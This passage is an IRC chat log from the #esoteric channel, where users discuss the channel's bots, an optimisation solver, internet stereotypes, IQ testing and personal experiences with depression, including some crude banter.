< 1395989827 259376 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ion: http://i.imgur.com/sqhxdeS.png < 1395990517 435834 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :oh that's right. picard preferred earl gray < 1395990879 179833 :passwordBOT!~passwordB@197.78.129.191 QUIT :Remote host closed the connection < 1395990948 770067 :ion!ion@heh.fi PRIVMSG #esoteric ::-) < 1395991683 891558 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: http://i.imgur.com/DrFFzea.png < 1395993415 432239 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395994416 771754 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1395994593 423270 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395996025 441121 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395996115 383622 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395996117 251346 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395996348 329346 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :oerjan: if you tell boily about the quote he can add it to the pdf < 1395996446 796273 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1395996543 270680 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that's not how it works < 1395996546 609740 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yet, anyway < 1395997605 712575 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :how does it work? < 1395997719 581443 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you put it in the wisdom/ directory of HackEgo hth < 1395997751 405763 :MoALTz!~no@user-109-243-145-237.play-internet.pl JOIN :#esoteric < 1395998408 332243 :Sprocklem!~Sprocklem@unaffiliated/sprocklem QUIT :Ping timeout: 240 seconds < 1395998582 718799 :Sprocklem!~Sprocklem@unaffiliated/sprocklem JOIN :#esoteric < 1395998982 190711 :Sprocklem!~Sprocklem@unaffiliated/sprocklem QUIT :Ping timeout: 255 seconds < 1395999851 680208 :Ghoul_!uid6924@gateway/web/irccloud.com/x-bncjqcnuybsbiqah QUIT :Quit: Connection closed for inactivity < 1396000363 326278 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 QUIT :Ping timeout: 264 seconds < 1396000465 957227 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1396003274 572678 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1396003727 870734 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1396004048 381475 :password2!~password@197.78.129.191 QUIT :Ping timeout: 240 seconds < 1396004058 641746 :Zerker!~zerker@24-205-85-23.dhcp.psdn.ca.charter.com QUIT :Remote host closed the connection < 1396005573 461105 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1396005908 590505 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :!help < 1396005909 332074 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help . < 1396005944 631079 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :It's not possible to hack a quotedb into egobot somehow? < 1396005957 940692 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :by abusing userinterps or something < 1396005981 462263 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :or maybe it doesn't have a persistent filesystem < 1396006188 747734 :john_metcalf!~digital_w@228.15.125.91.dyn.plus.net JOIN :#esoteric < 1396006534 683419 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`echo No output? < 1396006535 100215 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1396006552 123337 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`xyzzy < 1396006552 720614 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1396006581 735336 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ACTION idly wonders how the VM infrastructure for HackEgo works. < 1396007532 289963 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Hello < 1396009191 522384 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1396009637 526860 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1396010331 767325 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1396010479 375292 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1396010481 466852 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1396011955 423281 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1396012881 93104 :xpte!uid17782@gateway/web/irccloud.com/x-ilzggwrwopngbrvi QUIT :Quit: Connection closed for inactivity < 1396014302 963368 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1396014633 640381 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1396014771 944250 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1396014773 213270 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1396014958 501917 :Sellyme!~Sellyme@199.127.227.147 QUIT :Excess Flood < 1396015119 870449 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1396015579 490211 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :GLPK manual: “Return 0 The MIP problem instance has been successfully solved. (This code does not necessarily mean that the solver has found optimal solution. It only means that the solution process was successful.)” < 1396016266 670672 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Have a silly hierarchical clustering thing too: https://dl.dropboxusercontent.com/u/113389132/Misc/20140328-clust2.jpg < 1396016416 842499 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I'm tempted to download the cplex software trial at this point < 1396016442 150297 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :http://plato.asu.edu/ftp/milpc.html “GLPK solved: 1” < 1396016563 343235 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :One more than none! < 1396016632 936719 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I suspect that it might have fared better if it supported multiple threads. < 1396017247 196432 :variable!root@freebsd/developer/variable NICK :trout < 1396018060 90408 :oklopol!~oklopol@dyn60-339.yok.fi QUIT :Quit: Leaving < 1396018136 520221 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1396018255 1872 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1396018260 342222 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1396018323 523782 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net JOIN :#esoteric < 1396018778 411277 :shikhout!~Shikhin@120.56.228.155 JOIN :#esoteric < 1396018783 930212 :shikhout!~Shikhin@120.56.228.155 QUIT :Changing host < 1396018784 117025 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1396018929 981132 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1396018931 425259 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1396020311 409893 :nooodl!~nooodl@91.177.77.176 JOIN :#esoteric < 1396020313 905767 :AnotherTest!~turingcom@d51a429ca.access.telenet.be JOIN :#esoteric < 1396021932 252556 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1396023378 390410 :Zom-B|aw!~Zom-B@143.177.41.147 QUIT :Ping timeout: 240 seconds < 1396024426 870532 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1396024427 983459 :Zom-B|aw!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl JOIN :#esoteric < 1396024681 502242 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Remote host closed the connection < 1396024796 710478 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi JOIN :#esoteric < 1396025030 129863 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover JOIN :#esoteric < 1396025097 400029 :MoALTz_!~no@user-109-243-145-237.play-internet.pl JOIN :#esoteric < 1396025191 229794 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1396025275 16677 :MoALTz!~no@user-109-243-145-237.play-internet.pl QUIT :Ping timeout: 255 seconds < 1396025735 160822 :Zom-B|afk!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl JOIN :#esoteric < 1396025842 416036 :Zom-B|aw!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl QUIT :Ping timeout: 255 seconds < 1396026289 136056 :Zom-B|afk!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl NICK :Zom-B < 1396026652 550846 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: http://i.imgur.com/DrFFzea.png < 1396026760 799645 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : or maybe it doesn't have a persistent filesystem <-- i don't think so. < 1396026796 919690 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that was, like, the main reason for creating HackEgo after all. < 1396026909 721693 :augur!~augur@129-2-129-32.wireless.umd.edu JOIN :#esoteric < 1396026937 160052 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl QUIT :Ping timeout: 240 seconds < 1396026982 399860 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :http://asherv.com/threes/threemails/ OK well that's kind of petty < 1396027095 40427 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :I see < 1396027146 890886 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :wow < 1396027160 280106 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :"We know Threes is a better game, we spent over a year on it. " < 1396027238 348111 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :int-e: https://bitbucket.org/GregorR/umlbox/wiki/Home < 1396027338 603827 :monotone!~monotone@room208.org PRIVMSG #esoteric :oerjan: I am a bot. A very quiet one. < 1396027414 30403 :Zom-B|aw!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl JOIN :#esoteric < 1396027419 639804 :Zom-B|aw!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl NICK :Zom-B < 1396027503 79693 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :kmc, i don't think these people have heard of minimalism < 1396027763 499246 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :monotone: okay < 1396028072 273335 :spiette!~spiette@2607:fad8:4:6:a288:b4ff:fe60:a3b0 QUIT :Ping timeout: 265 seconds < 1396028767 427653 :spiette!~spiette@2607:fad8:4:6:f2de:f1ff:fe66:77e5 JOIN :#esoteric < 1396028879 391156 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :MEANWHILE IN /R/BITCOIN (this just keeps getting better): http://www.reddit.com/r/Bitcoin/comments/21g6sx/i_am_a_tax_attorney_here_is_what_the_irs_notice/cgctzpm < 1396029313 430801 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://www.reddit.com/r/iamverysmart < 1396029427 280041 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :what is this fedora thing < 1396029537 851474 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :oerjan: http://achewood.com/index.php?date=11012004 < 1396029671 610259 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :kmc: um i meant in that r/bitcoin thread < 1396029782 510209 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover PRIVMSG #esoteric :someone wrote a bot that replies with http://i.imgur.com/Gt2WkEk.gif whenever someone says 'fedora', it seems < 1396029932 930157 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :oerjan: they're both referring to the same loosely-defined stereotype < 1396030081 689935 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh ok. i couldn't get through the achewood comic enough to detect what the stereotype was. < 1396030323 330810 :Slereah_!~jackal@117.168.90.79.rev.sfr.net JOIN :#esoteric < 1396030327 529782 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :since i already _have_ seborrheic dermatitis, does that mean i can use a fedora anyhow? < 1396030352 100727 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :heh < 1396030365 641133 :john_metcalf!~digital_w@228.15.125.91.dyn.plus.net QUIT :Ping timeout: 252 seconds < 1396030476 410141 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the stereotype is like, white men in their 20s with a STEM education and a computery job, who are sure they're geniuses and experience constant frustration at being surrounded by idiots < 1396030535 413911 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :probably very enthusiastic about atheism, bitcoin, ron paul, and misogyny, and feel like this makes them an oppressed minority < 1396030620 320257 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :iow the core demographic of reddit < 1396030675 439200 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ic < 1396030723 639947 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :alas, i only fit 3 or 4 of those. < 1396030740 619615 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(dependent on whether i'm in the mood to think other people are idiots or not.) < 1396030744 345529 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1396030766 610509 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :wait < 1396030769 410695 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :2 or 3. < 1396030770 570732 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :which ones? < 1396030771 380358 :`^_^v!~nycs@rrcs-24-39-141-128.nyc.biz.rr.com PRIVMSG #esoteric :its also the core demographic of the tech industry < 1396030779 889837 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :forgot i'm not in my 20s any more < 1396030800 859514 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :or wait < 1396030806 839327 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :i feel like i'm surrounded by geniuses all the time :( < 1396030822 549442 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oklopol: i'm a white man with a STEM education who is sure he is genius. < 1396030829 91889 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I'm definitely not a fan of people like that, but the stereotype is (like all stereotypes) a political weapon used to dehumanize others and reject the idea of extending them any empathy < 1396030838 930381 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :so it does make me uncomfortable < 1396030842 21950 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :also an imbecile, dependent on subject. < 1396030870 605941 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :often it boils down to making fun of people for how they look and then claiming the moral high ground by some tenuous connection between appearance and harmful politics < 1396030891 473163 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1396030892 436987 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1396030939 11243 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I definitely have sympathy for smart people who are frustrated at being surrounded by people who are much less intelligent < 1396030953 820022 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :oerjan: do you feel you are surrounded by idiots? < 1396030956 829570 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I have avoided this by consciously steering towards groups of people smarter than I am < 1396030964 409661 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but it occurs to me that this is a marker of privilege < 1396030971 20043 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oklopol: well not on this channel :P < 1396030976 636844 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :kmc, that's why I'm in this channel < 1396031046 130732 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Also with some of my friends at uni I have the weird situation where I think they're smarter than me because they are much better programmers, but they think I'm smarter than them because I have a better grasp on context-free grammars etc < 1396031054 970732 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :heh < 1396031092 251043 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :at my school there were a lot of conversations that were basically posturing to see who had the best claim to being stupid and an impostor who was going to fail out < 1396031095 999762 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :pretty weird < 1396031137 530327 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Yeah, I know how that feels < 1396031152 39721 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Taneb: math and computing talent don't always go together. (my old advisor had trouble using a computer...) < 1396031153 69096 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :bragging about your accomplishments was so strongly stigmatized that even admitting you were good at anything was kind of a faux pas < 1396031167 866795 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :oerjan, my degree title is Mathematics and Computer Science < 1396031171 827934 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :indeed computer science talent and ability to computer don't always go together < 1396031175 907292 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :True < 1396031213 371264 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm he may have had computer science talent, i think he lectured about turing machines some time < 1396031251 789563 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :the only time i really remember feeling i was with people stupider than me was with this random guy in france whose place i spent a few nights at; he kept saying we should have an orgy with his hookers and commenting on the asses of bypassers (this went on for _hours_) < 1396031260 71247 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :(but then we got high and it was all good) < 1396031283 380325 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :haha < 1396031290 409478 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :did you have an orgy though < 1396031295 641370 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :hookers? maybe more like "bitches" < 1396031300 829685 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :no i wussed out < 1396031304 239375 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :aww < 1396031353 689878 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :'s ok if they were idiots they probably all had STDs anyway < 1396031359 320132 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :also i'm mostly into skinny girls and he was more into huge asses < 1396031368 199941 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(*) may contain stereotypes < 1396031378 29095 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :haven't been to a proper orgy yet, maybe this is my year < 1396031413 802188 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :fingers crossed! < 1396031419 297444 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I have no desire to take part in an orgy < 1396031445 279732 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :we know that. < 1396031456 404928 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :But if you do I hope you have fun! < 1396031550 770037 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :thanks Taneb < 1396031560 600562 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :i'm not sure i'd be very comfortable at an orgy, since i'm not very comfortable with lots of people in general < 1396031581 499579 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :although usually the more clothes i have the less comfortable i am so maybe it'd be fine < 1396031605 586344 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Thinking about it, if I wanted to take part in an orgy, I'd know where to go < 1396031641 814718 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :But you know what I really want to do? < 1396031656 683137 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Find a giant chess set and play chess with some with that giant set < 1396031667 707900 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :oklopol: heh < 1396031691 389766 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I've often thought that it's weirder to be the one clothed person in a room of naked people than to be the one naked person in a room of clothed people < 1396031842 889275 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :also http://www.theonion.com/articles/orgy-a-logistical-nightmare,120/ < 1396031867 759421 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :(nsfw I suppose) < 1396031893 829268 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1396031942 129369 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :"handcuffs" i read handguns < 1396031948 130862 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ykinmk < 1396031951 339564 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :now _that's_ an orgy < 1396031981 7768 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I need to clean my room and pack in like 20 minutes < 1396032043 441780 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1396032045 400198 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1396032111 220182 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Ping timeout: 245 seconds < 1396032118 449595 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1396032147 569541 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :there is a large chance that I would be too awkward to enjoy myself, anyway < 1396032354 879038 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I think that (even controlling for the flaws of self-assessment and whatever) people tend to think I'm smarter than I am < 1396032389 559256 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :(but I can't really control for that, of course) < 1396032405 799326 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I told a friend my IQ and she was surprised that it was only as high as hers < 1396032433 589300 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i don't know, that could relate to her self-assessment, as well < 1396032662 521984 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :have you taken some official test or how do you know? i did the test on mensa's page once < 1396032689 389749 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :i got them all right and it said i'm a supergenius and i should join their club < 1396032783 409338 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :but you're not officially a supergenius until you pay them to take the same test < 1396032807 394083 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :well it's a better test administered by a psychoanalystician < 1396032819 818852 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :...but yeah that's basically what they said < 1396032843 449231 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1396032977 102186 :nooodl!~nooodl@91.177.77.176 PRIVMSG #esoteric :iq is weird < 1396033057 770411 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :I think how smart people think people are usually doesn't correspond very well to intelligence < 1396033188 908724 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :e.g. if you're pretty smart then behaving less socially will make you seem more geniusy < 1396033254 309119 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :oklopol: lol < 1396033262 599011 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :and yeah IQ is kinda bullshit < 1396033298 210724 :nooodl!~nooodl@91.177.77.176 PRIVMSG #esoteric :i'm "pretty smart" and feel "pretty smart" too, but surround myself with smarter people so i never actually am smart? < 1396033333 143233 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :oklopol: yeah I had a psychological evaluation some years back and they did an IQ test as part of that < 1396033340 199149 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :ooh sounds fun < 1396033350 749009 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :not that fun < 1396033353 288648 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :Oh man, are we having a who has bigger imposter syndrome contest? < 1396033383 471650 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I think I also had one when I was a kid but I don't remember the outcome < 1396033384 865818 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I've got a pretty good affinity for maths but that's the only thing I'm good at at all < 1396033410 278888 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but yeah < 1396033426 648958 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :i've never been evaluated :( < 1396033437 877532 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :oklopol, I evaluate you to be pretty rad < 1396033440 819675 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :in 2006 i went to a psychologist and told them I thought I was depressed and I did like 2 or 3 days of complicated standardized tests and then they're like "yup you're depressed" < 1396033441 6320 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :mwoohoo < 1396033442 919687 :nooodl!~nooodl@91.177.77.176 PRIVMSG #esoteric :i don't think it's imposter syndrome! i guess i relate to taneb here, too < 1396033447 819101 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :wasn't entirely worth it < 1396033450 835505 :oklopol!~oklopol@dsl-tkubrasgw1-54fa30-30.dhcp.inet.fi PRIVMSG #esoteric :haha < 1396033455 428436 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :kmc: no drugs? < 1396033485 619413 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :they weren't a md and so couldn't prescribe drugs, they could have referred me to someone but I declined that < 1396033486 318689 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :kmc: Yeah, I was like "I think I'm depressed. Now to studiously avoid having any medical records made of this to avoid future difficulties." < 1396033491 749964 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :maurer: :/ < 1396033513 999146 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :I succeeded - I think there are no medical records of this < 1396033515 959574 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :which kind of difficulties? < 1396033532 118859 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :kmc: There are a lot of jobs/positions for which you can be disqualified < 1396033537 86864 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :nooodl: you don't think you're smarter than you think you are? < 1396033537 273553 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :that really sucks < 1396033565 400546 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :kmc: For example, krogstad :( < 1396033605 348789 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I'm lucky enough that I can just write off any jobs 